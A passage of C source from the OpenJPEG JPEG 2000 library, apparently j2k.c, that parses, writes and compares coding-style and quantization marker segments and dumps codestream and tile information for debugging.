{ opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; opj_tccp_t *l_tccp = 00; /* preconditions */ assert(p_j2k != 00); l_cp = &(p_j2k->m_cp); l_tcp = &l_cp->tcps[p_tile_no]; l_tccp = &l_tcp->tccps[p_comp_no]; /* preconditions again */ assert(p_tile_no < (l_cp->tw * l_cp->th)); assert(p_comp_no < p_j2k->m_private_image->numcomps); if (l_tccp->csty & J2K_CCP_CSTY_PRT) { return 5 + l_tccp->numresolutions; } else { return 5; } } static OPJ_BOOL opj_j2k_compare_SPCod_SPCoc(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_first_comp_no, OPJ_UINT32 p_second_comp_no) { OPJ_UINT32 i; opj_cp_t *l_cp = NULL; opj_tcp_t *l_tcp = NULL; opj_tccp_t *l_tccp0 = NULL; opj_tccp_t *l_tccp1 = NULL; /* preconditions */ assert(p_j2k != 00); l_cp = &(p_j2k->m_cp); l_tcp = &l_cp->tcps[p_tile_no]; l_tccp0 = &l_tcp->tccps[p_first_comp_no]; l_tccp1 = &l_tcp->tccps[p_second_comp_no]; if (l_tccp0->numresolutions != l_tccp1->numresolutions) { return OPJ_FALSE; } if (l_tccp0->cblkw != l_tccp1->cblkw) { return OPJ_FALSE; } if (l_tccp0->cblkh != l_tccp1->cblkh) { return OPJ_FALSE; } if (l_tccp0->cblksty != l_tccp1->cblksty) { return OPJ_FALSE; } if (l_tccp0->qmfbid != l_tccp1->qmfbid) { return OPJ_FALSE; } if ((l_tccp0->csty & J2K_CCP_CSTY_PRT) != (l_tccp1->csty & J2K_CCP_CSTY_PRT)) { return OPJ_FALSE; } for (i = 0U; i < l_tccp0->numresolutions; ++i) { if (l_tccp0->prcw[i] != l_tccp1->prcw[i]) { return OPJ_FALSE; } if (l_tccp0->prch[i] != l_tccp1->prch[i]) { return OPJ_FALSE; } } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_SPCod_SPCoc(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_comp_no, OPJ_BYTE * p_data, OPJ_UINT32 * p_header_size, struct opj_event_mgr * p_manager) { OPJ_UINT32 i; opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; opj_tccp_t *l_tccp = 00; /* preconditions */ assert(p_j2k != 00); assert(p_header_size != 00); assert(p_manager != 00); assert(p_data != 00); l_cp = &(p_j2k->m_cp); l_tcp = &l_cp->tcps[p_tile_no]; l_tccp = &l_tcp->tccps[p_comp_no]; /* preconditions again */ assert(p_tile_no < (l_cp->tw * l_cp->th)); assert(p_comp_no < (p_j2k->m_private_image->numcomps)); if (*p_header_size < 5) { opj_event_msg(p_manager, EVT_ERROR, "Error writing SPCod SPCoc element\n"); return OPJ_FALSE; } opj_write_bytes(p_data, l_tccp->numresolutions - 1, 1); /* SPcoc (D) */ ++p_data; opj_write_bytes(p_data, l_tccp->cblkw - 2, 1); /* SPcoc (E) */ ++p_data; opj_write_bytes(p_data, l_tccp->cblkh - 2, 1); /* SPcoc (F) */ ++p_data; opj_write_bytes(p_data, l_tccp->cblksty, 1); /* SPcoc (G) */ ++p_data; opj_write_bytes(p_data, l_tccp->qmfbid, 1); /* SPcoc (H) */ ++p_data; *p_header_size = *p_header_size - 5; if (l_tccp->csty & J2K_CCP_CSTY_PRT) { if (*p_header_size < l_tccp->numresolutions) { opj_event_msg(p_manager, EVT_ERROR, "Error writing SPCod SPCoc element\n"); return OPJ_FALSE; } for (i = 0; i < l_tccp->numresolutions; ++i) { opj_write_bytes(p_data, l_tccp->prcw[i] + (l_tccp->prch[i] << 4), 1); /* SPcoc (I_i) */ ++p_data; } *p_header_size = *p_header_size - l_tccp->numresolutions; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_read_SPCod_SPCoc(opj_j2k_t *p_j2k, OPJ_UINT32 compno, OPJ_BYTE * p_header_data, OPJ_UINT32 * p_header_size, opj_event_mgr_t * p_manager) { OPJ_UINT32 i, l_tmp; opj_cp_t *l_cp = NULL; opj_tcp_t *l_tcp = NULL; opj_tccp_t *l_tccp = NULL; OPJ_BYTE * l_current_ptr = NULL; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_header_data != 00); l_cp = &(p_j2k->m_cp); l_tcp = (p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_TPH) ? &l_cp->tcps[p_j2k->m_current_tile_number] : p_j2k->m_specific_param.m_decoder.m_default_tcp; /* precondition again */ assert(compno < p_j2k->m_private_image->numcomps); l_tccp = &l_tcp->tccps[compno]; l_current_ptr = p_header_data; /* make sure room is sufficient */ if (*p_header_size < 5) { opj_event_msg(p_manager, EVT_ERROR, "Error reading SPCod SPCoc element\n"); return OPJ_FALSE; } opj_read_bytes(l_current_ptr, &l_tccp->numresolutions, 1); /* SPcox (D) */ ++l_tccp->numresolutions; /* tccp->numresolutions = read() + 1 */ if (l_tccp->numresolutions > OPJ_J2K_MAXRLVLS) { opj_event_msg(p_manager, EVT_ERROR, "Invalid value for numresolutions : %d, max value is set in openjpeg.h at %d\n", l_tccp->numresolutions, OPJ_J2K_MAXRLVLS); return OPJ_FALSE; } ++l_current_ptr; /* If user wants to remove more resolutions than the codestream contains, return error */ if (l_cp->m_specific_param.m_dec.m_reduce >= l_tccp->numresolutions) { opj_event_msg(p_manager, EVT_ERROR, "Error decoding component %d.\nThe number of resolutions to remove is higher than the number " "of resolutions of this component\nModify the cp_reduce parameter.\n\n", compno); p_j2k->m_specific_param.m_decoder.m_state |= 0x8000;/* FIXME J2K_DEC_STATE_ERR;*/ return OPJ_FALSE; } opj_read_bytes(l_current_ptr, &l_tccp->cblkw, 1); /* SPcoc (E) */ ++l_current_ptr; l_tccp->cblkw += 2; opj_read_bytes(l_current_ptr, &l_tccp->cblkh, 1); /* SPcoc (F) */ ++l_current_ptr; l_tccp->cblkh += 2; if ((l_tccp->cblkw > 10) || (l_tccp->cblkh > 10) || ((l_tccp->cblkw + l_tccp->cblkh) > 12)) { opj_event_msg(p_manager, EVT_ERROR, "Error reading SPCod SPCoc element, Invalid cblkw/cblkh combination\n"); return OPJ_FALSE; } opj_read_bytes(l_current_ptr, &l_tccp->cblksty, 1); /* SPcoc (G) */ ++l_current_ptr; if (l_tccp->cblksty & 0xC0U) { /* 2 msb are reserved, assume we can't read */ opj_event_msg(p_manager, EVT_ERROR, "Error reading SPCod SPCoc element, Invalid code-block style found\n"); return OPJ_FALSE; } opj_read_bytes(l_current_ptr, &l_tccp->qmfbid, 1); /* SPcoc (H) */ ++l_current_ptr; *p_header_size = *p_header_size - 5; /* use custom precinct size ? */ if (l_tccp->csty & J2K_CCP_CSTY_PRT) { if (*p_header_size < l_tccp->numresolutions) { opj_event_msg(p_manager, EVT_ERROR, "Error reading SPCod SPCoc element\n"); return OPJ_FALSE; } for (i = 0; i < l_tccp->numresolutions; ++i) { opj_read_bytes(l_current_ptr, &l_tmp, 1); /* SPcoc (I_i) */ ++l_current_ptr; /* Precinct exponent 0 is only allowed for lowest resolution level (Table A.21) */ if ((i != 0) && (((l_tmp & 0xf) == 0) || ((l_tmp >> 4) == 0))) { opj_event_msg(p_manager, EVT_ERROR, "Invalid precinct size\n"); return OPJ_FALSE; } l_tccp->prcw[i] = l_tmp & 0xf; l_tccp->prch[i] = l_tmp >> 4; } *p_header_size = *p_header_size - l_tccp->numresolutions; } else { /* set default size for the precinct width and height */ for (i = 0; i < l_tccp->numresolutions; ++i) { l_tccp->prcw[i] = 15; l_tccp->prch[i] = 15; } } #ifdef WIP_REMOVE_MSD /* INDEX >> */ if (p_j2k->cstr_info && compno == 0) { OPJ_UINT32 l_data_size = l_tccp->numresolutions * sizeof(OPJ_UINT32); p_j2k->cstr_info->tile[p_j2k->m_current_tile_number].tccp_info[compno].cblkh = l_tccp->cblkh; p_j2k->cstr_info->tile[p_j2k->m_current_tile_number].tccp_info[compno].cblkw = l_tccp->cblkw; p_j2k->cstr_info->tile[p_j2k->m_current_tile_number].tccp_info[compno].numresolutions = l_tccp->numresolutions; p_j2k->cstr_info->tile[p_j2k->m_current_tile_number].tccp_info[compno].cblksty = l_tccp->cblksty; p_j2k->cstr_info->tile[p_j2k->m_current_tile_number].tccp_info[compno].qmfbid = l_tccp->qmfbid; memcpy(p_j2k->cstr_info->tile[p_j2k->m_current_tile_number].pdx, l_tccp->prcw, l_data_size); memcpy(p_j2k->cstr_info->tile[p_j2k->m_current_tile_number].pdy, l_tccp->prch, l_data_size); } /* << INDEX */ #endif return OPJ_TRUE; } static void opj_j2k_copy_tile_component_parameters(opj_j2k_t *p_j2k) { /* loop */ OPJ_UINT32 i; opj_cp_t *l_cp = NULL; opj_tcp_t *l_tcp = NULL; opj_tccp_t *l_ref_tccp = NULL, *l_copied_tccp = NULL; OPJ_UINT32 l_prc_size; /* preconditions */ assert(p_j2k != 00); l_cp = &(p_j2k->m_cp); l_tcp = (p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_TPH) ? &l_cp->tcps[p_j2k->m_current_tile_number] : p_j2k->m_specific_param.m_decoder.m_default_tcp; l_ref_tccp = &l_tcp->tccps[0]; l_copied_tccp = l_ref_tccp + 1; l_prc_size = l_ref_tccp->numresolutions * (OPJ_UINT32)sizeof(OPJ_UINT32); for (i = 1; i < p_j2k->m_private_image->numcomps; ++i) { l_copied_tccp->numresolutions = l_ref_tccp->numresolutions; l_copied_tccp->cblkw = l_ref_tccp->cblkw; l_copied_tccp->cblkh = l_ref_tccp->cblkh; l_copied_tccp->cblksty = l_ref_tccp->cblksty; l_copied_tccp->qmfbid = l_ref_tccp->qmfbid; memcpy(l_copied_tccp->prcw, l_ref_tccp->prcw, l_prc_size); memcpy(l_copied_tccp->prch, l_ref_tccp->prch, l_prc_size); ++l_copied_tccp; } } static OPJ_UINT32 opj_j2k_get_SQcd_SQcc_size(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_comp_no) { OPJ_UINT32 l_num_bands; opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; opj_tccp_t *l_tccp = 00; /* preconditions */ assert(p_j2k != 00); l_cp = &(p_j2k->m_cp); l_tcp = &l_cp->tcps[p_tile_no]; l_tccp = &l_tcp->tccps[p_comp_no]; /* preconditions again */ assert(p_tile_no < l_cp->tw * l_cp->th); assert(p_comp_no < p_j2k->m_private_image->numcomps); l_num_bands = (l_tccp->qntsty == J2K_CCP_QNTSTY_SIQNT) ? 1 : (l_tccp->numresolutions * 3 - 2); if (l_tccp->qntsty == J2K_CCP_QNTSTY_NOQNT) { return 1 + l_num_bands; } else { return 1 + 2 * l_num_bands; } } static OPJ_BOOL opj_j2k_compare_SQcd_SQcc(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_first_comp_no, OPJ_UINT32 p_second_comp_no) { opj_cp_t *l_cp = NULL; opj_tcp_t *l_tcp = NULL; opj_tccp_t *l_tccp0 = NULL; opj_tccp_t *l_tccp1 = NULL; OPJ_UINT32 l_band_no, l_num_bands; /* preconditions */ assert(p_j2k != 00); l_cp = &(p_j2k->m_cp); l_tcp = &l_cp->tcps[p_tile_no]; l_tccp0 = &l_tcp->tccps[p_first_comp_no]; l_tccp1 = &l_tcp->tccps[p_second_comp_no]; if (l_tccp0->qntsty != l_tccp1->qntsty) { return OPJ_FALSE; } if (l_tccp0->numgbits != l_tccp1->numgbits) { return OPJ_FALSE; } if (l_tccp0->qntsty == J2K_CCP_QNTSTY_SIQNT) { l_num_bands = 1U; } else { l_num_bands = l_tccp0->numresolutions * 3U - 2U; if (l_num_bands != (l_tccp1->numresolutions * 3U - 2U)) { return OPJ_FALSE; } } for (l_band_no = 0; l_band_no < l_num_bands; ++l_band_no) { if (l_tccp0->stepsizes[l_band_no].expn != l_tccp1->stepsizes[l_band_no].expn) { return OPJ_FALSE; } } if (l_tccp0->qntsty != J2K_CCP_QNTSTY_NOQNT) { for (l_band_no = 0; l_band_no < l_num_bands; ++l_band_no) { if (l_tccp0->stepsizes[l_band_no].mant != l_tccp1->stepsizes[l_band_no].mant) { return OPJ_FALSE; } } } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_SQcd_SQcc(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_comp_no, OPJ_BYTE * p_data, OPJ_UINT32 * p_header_size, struct opj_event_mgr * p_manager) { OPJ_UINT32 l_header_size; OPJ_UINT32 l_band_no, l_num_bands; OPJ_UINT32 l_expn, l_mant; opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; opj_tccp_t *l_tccp = 00; /* preconditions */ assert(p_j2k != 00); assert(p_header_size != 00); assert(p_manager != 00); assert(p_data != 00); l_cp = &(p_j2k->m_cp); l_tcp = &l_cp->tcps[p_tile_no]; l_tccp = &l_tcp->tccps[p_comp_no]; /* preconditions again */ assert(p_tile_no < l_cp->tw * l_cp->th); assert(p_comp_no < p_j2k->m_private_image->numcomps); l_num_bands = (l_tccp->qntsty == J2K_CCP_QNTSTY_SIQNT) ? 1 : (l_tccp->numresolutions * 3 - 2); if (l_tccp->qntsty == J2K_CCP_QNTSTY_NOQNT) { l_header_size = 1 + l_num_bands; if (*p_header_size < l_header_size) { opj_event_msg(p_manager, EVT_ERROR, "Error writing SQcd SQcc element\n"); return OPJ_FALSE; } opj_write_bytes(p_data, l_tccp->qntsty + (l_tccp->numgbits << 5), 1); /* Sqcx */ ++p_data; for (l_band_no = 0; l_band_no < l_num_bands; ++l_band_no) { l_expn = (OPJ_UINT32)l_tccp->stepsizes[l_band_no].expn; opj_write_bytes(p_data, l_expn << 3, 1); /* SPqcx_i */ ++p_data; } } else { l_header_size = 1 + 2 * l_num_bands; if (*p_header_size < l_header_size) { opj_event_msg(p_manager, EVT_ERROR, "Error writing SQcd SQcc element\n"); return OPJ_FALSE; } opj_write_bytes(p_data, l_tccp->qntsty + (l_tccp->numgbits << 5), 1); /* Sqcx */ ++p_data; for (l_band_no = 0; l_band_no < l_num_bands; ++l_band_no) { l_expn = (OPJ_UINT32)l_tccp->stepsizes[l_band_no].expn; l_mant = (OPJ_UINT32)l_tccp->stepsizes[l_band_no].mant; opj_write_bytes(p_data, (l_expn << 11) + l_mant, 2); /* SPqcx_i */ p_data += 2; } } *p_header_size = *p_header_size - l_header_size; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_read_SQcd_SQcc(opj_j2k_t *p_j2k, OPJ_UINT32 p_comp_no, OPJ_BYTE* p_header_data, OPJ_UINT32 * p_header_size, opj_event_mgr_t * p_manager ) { /* loop*/ OPJ_UINT32 l_band_no; opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; opj_tccp_t *l_tccp = 00; OPJ_BYTE * l_current_ptr = 00; OPJ_UINT32 l_tmp, l_num_band; /* preconditions*/ assert(p_j2k != 00); assert(p_manager != 00); assert(p_header_data != 00); l_cp = &(p_j2k->m_cp); /* come from tile part header or main header ?*/ l_tcp = (p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_TPH) ? &l_cp->tcps[p_j2k->m_current_tile_number] : p_j2k->m_specific_param.m_decoder.m_default_tcp; /* precondition again*/ assert(p_comp_no < p_j2k->m_private_image->numcomps); l_tccp = &l_tcp->tccps[p_comp_no]; l_current_ptr = p_header_data; if (*p_header_size < 1) { opj_event_msg(p_manager, EVT_ERROR, "Error reading SQcd or SQcc element\n"); return OPJ_FALSE; } *p_header_size -= 1; opj_read_bytes(l_current_ptr, &l_tmp, 1); /* Sqcx */ ++l_current_ptr; l_tccp->qntsty = l_tmp & 0x1f; l_tccp->numgbits = l_tmp >> 5; if (l_tccp->qntsty == J2K_CCP_QNTSTY_SIQNT) { l_num_band = 1; } else { l_num_band = (l_tccp->qntsty == J2K_CCP_QNTSTY_NOQNT) ? (*p_header_size) : (*p_header_size) / 2; if (l_num_band > OPJ_J2K_MAXBANDS) { opj_event_msg(p_manager, EVT_WARNING, "While reading CCP_QNTSTY element inside QCD or QCC marker segment, " "number of subbands (%d) is greater to OPJ_J2K_MAXBANDS (%d). So we limit the number of elements stored to " "OPJ_J2K_MAXBANDS (%d) and skip the rest. \n", l_num_band, OPJ_J2K_MAXBANDS, OPJ_J2K_MAXBANDS); /*return OPJ_FALSE;*/ } } #ifdef USE_JPWL if (l_cp->correct) { /* if JPWL is on, we check whether there are too many subbands */ if (/*(l_num_band < 0) ||*/ (l_num_band >= OPJ_J2K_MAXBANDS)) { opj_event_msg(p_manager, JPWL_ASSUME ? EVT_WARNING : EVT_ERROR, "JPWL: bad number of subbands in Sqcx (%d)\n", l_num_band); if (!JPWL_ASSUME) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: giving up\n"); return OPJ_FALSE; } /* we try to correct */ l_num_band = 1; opj_event_msg(p_manager, EVT_WARNING, "- trying to adjust them\n" "- setting number of bands to %d => HYPOTHESIS!!!\n", l_num_band); }; }; #endif /* USE_JPWL */ if (l_tccp->qntsty == J2K_CCP_QNTSTY_NOQNT) { for (l_band_no = 0; l_band_no < l_num_band; l_band_no++) { opj_read_bytes(l_current_ptr, &l_tmp, 1); /* SPqcx_i */ ++l_current_ptr; if (l_band_no < OPJ_J2K_MAXBANDS) { l_tccp->stepsizes[l_band_no].expn = (OPJ_INT32)(l_tmp >> 3); l_tccp->stepsizes[l_band_no].mant = 0; } } *p_header_size = *p_header_size - l_num_band; } else { for (l_band_no = 0; l_band_no < l_num_band; l_band_no++) { opj_read_bytes(l_current_ptr, &l_tmp, 2); /* SPqcx_i */ l_current_ptr += 2; if (l_band_no < OPJ_J2K_MAXBANDS) { l_tccp->stepsizes[l_band_no].expn = (OPJ_INT32)(l_tmp >> 11); l_tccp->stepsizes[l_band_no].mant = l_tmp & 0x7ff; } } *p_header_size = *p_header_size - 2 * l_num_band; } /* Add Antonin : if scalar_derived -> compute other stepsizes */ if (l_tccp->qntsty == J2K_CCP_QNTSTY_SIQNT) { for (l_band_no = 1; l_band_no < OPJ_J2K_MAXBANDS; l_band_no++) { l_tccp->stepsizes[l_band_no].expn = ((OPJ_INT32)(l_tccp->stepsizes[0].expn) - (OPJ_INT32)((l_band_no - 1) / 3) > 0) ? (OPJ_INT32)(l_tccp->stepsizes[0].expn) - (OPJ_INT32)((l_band_no - 1) / 3) : 0; l_tccp->stepsizes[l_band_no].mant = l_tccp->stepsizes[0].mant; } } return OPJ_TRUE; } static void opj_j2k_copy_tile_quantization_parameters(opj_j2k_t *p_j2k) { OPJ_UINT32 i; opj_cp_t *l_cp = NULL; opj_tcp_t *l_tcp = NULL; opj_tccp_t *l_ref_tccp = NULL; opj_tccp_t *l_copied_tccp = NULL; OPJ_UINT32 l_size; /* preconditions */ assert(p_j2k != 00); l_cp = &(p_j2k->m_cp); l_tcp = p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_TPH ? &l_cp->tcps[p_j2k->m_current_tile_number] : p_j2k->m_specific_param.m_decoder.m_default_tcp; l_ref_tccp = &l_tcp->tccps[0]; l_copied_tccp = l_ref_tccp + 1; l_size = OPJ_J2K_MAXBANDS * sizeof(opj_stepsize_t); for (i = 1; i < p_j2k->m_private_image->numcomps; ++i) { l_copied_tccp->qntsty = l_ref_tccp->qntsty; l_copied_tccp->numgbits = l_ref_tccp->numgbits; memcpy(l_copied_tccp->stepsizes, l_ref_tccp->stepsizes, l_size); ++l_copied_tccp; } } static void opj_j2k_dump_tile_info(opj_tcp_t * l_default_tile, OPJ_INT32 numcomps, FILE* out_stream) { if (l_default_tile) { OPJ_INT32 compno; fprintf(out_stream, "\t default tile {\n"); fprintf(out_stream, "\t\t csty=%#x\n", l_default_tile->csty); fprintf(out_stream, "\t\t prg=%#x\n", l_default_tile->prg); fprintf(out_stream, "\t\t numlayers=%d\n", l_default_tile->numlayers); fprintf(out_stream, "\t\t mct=%x\n", l_default_tile->mct); for (compno = 0; compno < numcomps; compno++) { opj_tccp_t *l_tccp = &(l_default_tile->tccps[compno]); OPJ_UINT32 resno; OPJ_INT32 bandno, numbands; /* coding style*/ fprintf(out_stream, "\t\t comp %d {\n", compno); fprintf(out_stream, "\t\t\t csty=%#x\n", l_tccp->csty); fprintf(out_stream, "\t\t\t numresolutions=%d\n", l_tccp->numresolutions); fprintf(out_stream, "\t\t\t cblkw=2^%d\n", l_tccp->cblkw); fprintf(out_stream, "\t\t\t cblkh=2^%d\n", l_tccp->cblkh); fprintf(out_stream, "\t\t\t cblksty=%#x\n", l_tccp->cblksty); fprintf(out_stream, "\t\t\t qmfbid=%d\n", l_tccp->qmfbid); fprintf(out_stream, "\t\t\t preccintsize (w,h)="); for (resno = 0; resno < l_tccp->numresolutions; resno++) { fprintf(out_stream, "(%d,%d) ", l_tccp->prcw[resno], l_tccp->prch[resno]); } fprintf(out_stream, "\n"); /* quantization style*/ fprintf(out_stream, "\t\t\t qntsty=%d\n", l_tccp->qntsty); fprintf(out_stream, "\t\t\t numgbits=%d\n", l_tccp->numgbits); fprintf(out_stream, "\t\t\t stepsizes (m,e)="); numbands = (l_tccp->qntsty == J2K_CCP_QNTSTY_SIQNT) ? 1 : (OPJ_INT32)l_tccp->numresolutions * 3 - 2; for (bandno = 0; bandno < numbands; bandno++) { fprintf(out_stream, "(%d,%d) ", l_tccp->stepsizes[bandno].mant, l_tccp->stepsizes[bandno].expn); } fprintf(out_stream, "\n"); /* RGN value*/ fprintf(out_stream, "\t\t\t roishift=%d\n", l_tccp->roishift); fprintf(out_stream, "\t\t }\n"); } /*end of component of default tile*/ fprintf(out_stream, "\t }\n"); /*end of default tile*/ } } void j2k_dump(opj_j2k_t* p_j2k, OPJ_INT32 flag, FILE* out_stream) { /* Check if the flag is compatible with j2k file*/ if ((flag & OPJ_JP2_INFO) || (flag & OPJ_JP2_IND)) { fprintf(out_stream, "Wrong flag\n"); return; } /* Dump the image_header */ if (flag & OPJ_IMG_INFO) { if (p_j2k->m_private_image) { j2k_dump_image_header(p_j2k->m_private_image, 0, out_stream); } } /* Dump the codestream info from main header */ if (flag & OPJ_J2K_MH_INFO) { if (p_j2k->m_private_image) { opj_j2k_dump_MH_info(p_j2k, out_stream); } } /* Dump all tile/codestream info */ if (flag & OPJ_J2K_TCH_INFO) { OPJ_UINT32 l_nb_tiles = p_j2k->m_cp.th * p_j2k->m_cp.tw; OPJ_UINT32 i; opj_tcp_t * l_tcp = p_j2k->m_cp.tcps; if (p_j2k->m_private_image) { for (i = 0; i < l_nb_tiles; ++i) { opj_j2k_dump_tile_info(l_tcp, (OPJ_INT32)p_j2k->m_private_image->numcomps, out_stream); ++l_tcp; } } } /* Dump the codestream info of the current tile */ if (flag & OPJ_J2K_TH_INFO) { } /* Dump the codestream index from main header */ if (flag & OPJ_J2K_MH_IND) { opj_j2k_dump_MH_index(p_j2k, out_stream); } /* Dump the codestream index of the current tile */ if (flag & OPJ_J2K_TH_IND) { } } static void opj_j2k_dump_MH_index(opj_j2k_t* p_j2k, FILE* out_stream) { opj_codestream_index_t* cstr_index = p_j2k->cstr_index; OPJ_UINT32 it_marker, it_tile, it_tile_part; fprintf(out_stream, "Codestream index from main header: {\n"); fprintf(out_stream, "\t Main header start position=%" PRIi64 "\n" "\t Main header end position=%" PRIi64 "\n", cstr_index->main_head_start, cstr_index->main_head_end); fprintf(out_stream, "\t Marker list: {\n"); if (cstr_index->marker) { for (it_marker = 0; it_marker < cstr_index->marknum ; it_marker++) { fprintf(out_stream, "\t\t type=%#x, pos=%" PRIi64 ", len=%d\n", cstr_index->marker[it_marker].type, cstr_index->marker[it_marker].pos, cstr_index->marker[it_marker].len); } } fprintf(out_stream, "\t }\n"); if (cstr_index->tile_index) { /* Simple test to avoid to write empty information*/ OPJ_UINT32 l_acc_nb_of_tile_part = 0; for (it_tile = 0; it_tile < cstr_index->nb_of_tiles ; it_tile++) { l_acc_nb_of_tile_part += cstr_index->tile_index[it_tile].nb_tps; } if (l_acc_nb_of_tile_part) { fprintf(out_stream, "\t Tile index: {\n"); for (it_tile = 0; it_tile < cstr_index->nb_of_tiles ; it_tile++) { OPJ_UINT32 nb_of_tile_part = cstr_index->tile_index[it_tile].nb_tps; fprintf(out_stream, "\t\t nb of tile-part in tile [%d]=%d\n", it_tile, nb_of_tile_part); if (cstr_index->tile_index[it_tile].tp_index) { for (it_tile_part = 0; it_tile_part < nb_of_tile_part; it_tile_part++) { fprintf(out_stream, "\t\t\t tile-part[%d]: star_pos=%" PRIi64 ", end_header=%" PRIi64 ", end_pos=%" PRIi64 ".\n", it_tile_part, cstr_index->tile_index[it_tile].tp_index[it_tile_part].start_pos, cstr_index->tile_index[it_tile].tp_index[it_tile_part].end_header, cstr_index->tile_index[it_tile].tp_index[it_tile_part].end_pos); } } if (cstr_index->tile_index[it_tile].marker) { for (it_marker = 0; it_marker < cstr_index->tile_index[it_tile].marknum ; it_marker++) { fprintf(out_stream, "\t\t type=%#x, pos=%" PRIi64 ", len=%d\n", cstr_index->tile_index[it_tile].marker[it_marker].type, cstr_index->tile_index[it_tile].marker[it_marker].pos, cstr_index->tile_index[it_tile].marker[it_marker].len); } } } fprintf(out_stream, "\t }\n"); } } fprintf(out_stream, "}\n"); } static void opj_j2k_dump_MH_info(opj_j2k_t* p_j2k, FILE* out_stream) { fprintf(out_stream, "Codestream info from main header: {\n"); fprintf(out_stream, "\t tx0=%d, ty0=%d\n", p_j2k->m_cp.tx0, p_j2k->m_cp.ty0); fprintf(out_stream, "\t tdx=%d, tdy=%d\n", p_j2k->m_cp.tdx, p_j2k->m_cp.tdy); fprintf(out_stream, "\t tw=%d, th=%d\n", p_j2k->m_cp.tw, p_j2k->m_cp.th); opj_j2k_dump_tile_info(p_j2k->m_specific_param.m_decoder.m_default_tcp, (OPJ_INT32)p_j2k->m_private_image->numcomps, out_stream); fprintf(out_stream, "}\n"); } void j2k_dump_image_header(opj_image_t* img_header, OPJ_BOOL dev_dump_flag, FILE* out_stream) { char tab[2]; if (dev_dump_flag) { fprintf(stdout, "[DEV] Dump an image_header struct {\n"); tab[0] = '\0'; } else { fprintf(out_stream, "Image info {\n"); tab[0] = '\t'; tab[1] = '\0'; } fprintf(out_stream, "%s x0=%d, y0=%d\n", tab, img_header->x0, img_header->y0); fprintf(out_stream, "%s x1=%d, y1=%d\n", tab, img_header->x1, img_header->y1); fprintf(out_stream, "%s numcomps=%d\n", tab, img_header->numcomps); if (img_header->comps) { OPJ_UINT32 compno; for (compno = 0; compno < img_header->numcomps; compno++) { fprintf(out_stream, "%s\t component %d {\n", tab, compno); j2k_dump_image_comp_header(&(img_header->comps[compno]), dev_dump_flag, out_stream); fprintf(out_stream, "%s}\n", tab); } } fprintf(out_stream, "}\n"); } void j2k_dump_image_comp_header(opj_image_comp_t* comp_header, OPJ_BOOL dev_dump_flag, FILE* out_stream) { char tab[3]; if (dev_dump_flag) { fprintf(stdout, "[DEV] Dump an image_comp_header struct {\n"); tab[0] = '\0'; } else { tab[0] = '\t'; tab[1] = '\t'; tab[2] = '\0'; } fprintf(out_stream, "%s dx=%d, dy=%d\n", tab, comp_header->dx, comp_header->dy); fprintf(out_stream, "%s prec=%d\n", tab, comp_header->prec); fprintf(out_stream, "%s sgnd=%d\n", tab, comp_header->sgnd); if (dev_dump_flag) { fprintf(out_stream, "}\n"); } } opj_codestream_info_v2_t* j2k_get_cstr_info(opj_j2k_t* p_j2k) { OPJ_UINT32 compno; OPJ_UINT32 numcomps = p_j2k->m_private_image->numcomps; opj_tcp_t *l_default_tile; opj_codestream_info_v2_t* cstr_info = (opj_codestream_info_v2_t*) opj_calloc(1, sizeof(opj_codestream_info_v2_t)); if (!cstr_info) { return NULL; } cstr_info->nbcomps = p_j2k->m_private_image->numcomps; cstr_info->tx0 = p_j2k->m_cp.tx0; cstr_info->ty0 = p_j2k->m_cp.ty0; cstr_info->tdx = p_j2k->m_cp.tdx; cstr_info->tdy = p_j2k->m_cp.tdy; cstr_info->tw = p_j2k->m_cp.tw; cstr_info->th = p_j2k->m_cp.th; cstr_info->tile_info = NULL; /* Not fill from the main header*/ l_default_tile = p_j2k->m_specific_param.m_decoder.m_default_tcp; cstr_info->m_default_tile_info.csty = l_default_tile->csty; cstr_info->m_default_tile_info.prg = l_default_tile->prg; cstr_info->m_default_tile_info.numlayers = l_default_tile->numlayers; cstr_info->m_default_tile_info.mct = l_default_tile->mct; cstr_info->m_default_tile_info.tccp_info = (opj_tccp_info_t*) opj_calloc( cstr_info->nbcomps, sizeof(opj_tccp_info_t)); if (!cstr_info->m_default_tile_info.tccp_info) { opj_destroy_cstr_info(&cstr_info); return NULL; } for (compno = 0; compno < numcomps; compno++) { opj_tccp_t *l_tccp = &(l_default_tile->tccps[compno]); opj_tccp_info_t *l_tccp_info = & (cstr_info->m_default_tile_info.tccp_info[compno]); OPJ_INT32 bandno, numbands; /* coding style*/ l_tccp_info->csty = l_tccp->csty; l_tccp_info->numresolutions = l_tccp->numresolutions; l_tccp_info->cblkw = l_tccp->cblkw; l_tccp_info->cblkh = l_tccp->cblkh; l_tccp_info->cblksty = l_tccp->cblksty; l_tccp_info->qmfbid = l_tccp->qmfbid; if (l_tccp->numresolutions < OPJ_J2K_MAXRLVLS) { memcpy(l_tccp_info->prch, l_tccp->prch, l_tccp->numresolutions); memcpy(l_tccp_info->prcw, l_tccp->prcw, l_tccp->numresolutions); } /* quantization style*/ l_tccp_info->qntsty = l_tccp->qntsty; l_tccp_info->numgbits = l_tccp->numgbits; numbands = (l_tccp->qntsty == J2K_CCP_QNTSTY_SIQNT) ? 1 : (OPJ_INT32)l_tccp->numresolutions * 3 - 2; if (numbands < OPJ_J2K_MAXBANDS) { for (bandno = 0; bandno < numbands; bandno++) { l_tccp_info->stepsizes_mant[bandno] = (OPJ_UINT32) 